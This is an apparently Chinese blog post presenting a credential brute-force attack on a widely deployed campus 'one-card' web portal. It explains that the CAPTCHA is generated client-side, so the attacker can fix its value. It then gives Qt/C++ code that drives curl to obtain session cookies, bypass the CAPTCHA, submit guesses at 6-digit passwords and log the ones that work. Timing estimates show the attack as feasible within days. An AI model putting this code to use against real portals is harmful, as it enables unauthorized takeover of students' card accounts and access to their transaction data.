校园“一卡通”网站攻击测试用例


全国各大高校普遍采用哈尔滨新中新电子股份有限公司“校园一卡通”运行日常校园内的各种应用,此系统提供了一个网站后台可以提供刷卡信息查询,丢卡挂失等操作。但该网站后台实现非常不严谨,存在很多的漏洞,根据乌云漏洞平台的数据2011年就有人提交这种网站的问题http://www.wooyun.org/bugs/wooyun-2011-03267,但是一直没有得到该厂家的重视和更新。

下面提供一个攻击测试用例,目的只在于交流,严禁用于非法用途。


一、漏洞分析

1.验证码生成漏洞
   作为安全最重要的部分,这个网站的验证是由浏览器端用JS代码生成的
      

      图中的8792地址如下:
     http://ecard.sjtu.edu.cn/getCheckpic.action?rand=6296.096566789155
    (这个学校网站已经更新了,但有很多地方还是这样的)

2.可以伪造ID提交登录网址

登录提交的网址一般是 http://IP:Port/loginstudent.action ,我们可以任意构造提交的内容,从网站所返回的数据来看是否成功。

     原网站设定了刷新时限,就是一个session在10秒内不能重复提交登录信息,否则服务器会提示频繁过高。

  二、过程理论分析

   1.首先要有一个用户ID号,如果没有ID号就没办法了。

    2.攻击获取密码,采用的办法是暴力破解,一个密码一个密码地试。

    3.可行性分析。密码是6位数字,全部组合1000000个。由于网站限制10秒才能测试一个,假设一台机子有10个进程进行测试,基本上能达到1秒1个,1天24小时*60分钟*60秒=86400秒,100万/86400=11.57,也就是12天可以穷举,如果加大进程数量到50个,如果协同一致的话,可以把时间缩短到2.4天。

  三、过程

   CURL

   curl是利用URL语法在命令行方式下工作的开源文件传输工具。它被广泛应用在Unix、多种Linux发行版中,并且有DOS和Win32、Win64下的移植版本。

  能够极方便地进行http操作。

1.获取session ID,因为在提交密码登录的过程中要用到session ID,由系统分配,用于标识每次会话。

	QString cmdline = "curl.exe "+ mServerAddress+ "/homeLogin.action -I -A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\"";
 	QProcess process_session; 
	process_session.start(cmdline);
	if (!process_session.waitForReadyRead())
		return -1;
	QByteArray output = process_session.readAll();
	int index_1 = output.indexOf("Set-Cookie:", 110);
	cookie = output.mid(index_1+12, 43);
	qDebug()<< cookie;
session ID 保存在cookie中,后面直接指定让CURL读取cookie。


2.用这个ID获取一个验证码。

因为验证码完全由客户端指定,这个就好办多了,我们把它设为8888

	QString imgCommand = "curl.exe  "+ mServerAddress+ "/getCheckpic.action?rand=8888.560381874442 -I \
							-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \
							--cookie "+ cookie;
	QProcess  process_img;
	process_img.start(imgCommand);
	if (!process_img.waitForFinished())
		qDebug()<<"process_img no finish\n";

3.提交用户名,密码等信息,检查返回的结果看是否成功。

post的字符串如下:用户名,用户类型(这个对一般用户都是1),密码,随机数rand设为8888, field照抄原网页内容即可

name=20010410221&userType=1&passwd=103020&loginType=2&rand=8888&imageField.x=26&imageField.y=12


	QByteArray data;

	data = QByteArray("name=");
	data.append(mAccount);
	data.append("&userType=1&passwd=");
	data.append(mPasswd);
	data.append("&loginType=2&rand=1111&imageField.x=26&imageField.y=12");


	QString loginCmd = "curl.exe "+ mServerAddress+ "/loginstudent.action \
						 -d " + data \
						 + "-A \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\" \
						 --cookie "+ cookie;
	QProcess  process_login;
	process_login.start(loginCmd);
	if (!process_login.waitForFinished())
		qDebug()<<"process_img no finish\n";
	qDebug()<<"passwd test using result  : "<<	mPasswd<<"\n";

	QByteArray result = process_login.readAll();
	if (result.contains("table")) //如果失败,返回结果中有table
	{
		index++;
		return 0;
	
	}
	else if(result.contains("frameset"))//如果成功的话,返回的结果中包括frameset
		{
			QFile file( "file.txt" );
			if ( file.open( QIODevice::Append) ) 
			{
				QTextStream stream( &file );//成功的密码保存到一个文件中
				stream << mPasswd << "\n";
				file.close();
				return 1;
			}
		}
	else  qDebug()<<"error\n"<<result;

可以去跑了。

这个地方还差一个密码字符串生成的部分,要想最有效地分工协作,必须在密码串方面共同进行区分。这个方面还没有实现。










  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

路边闲人2

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值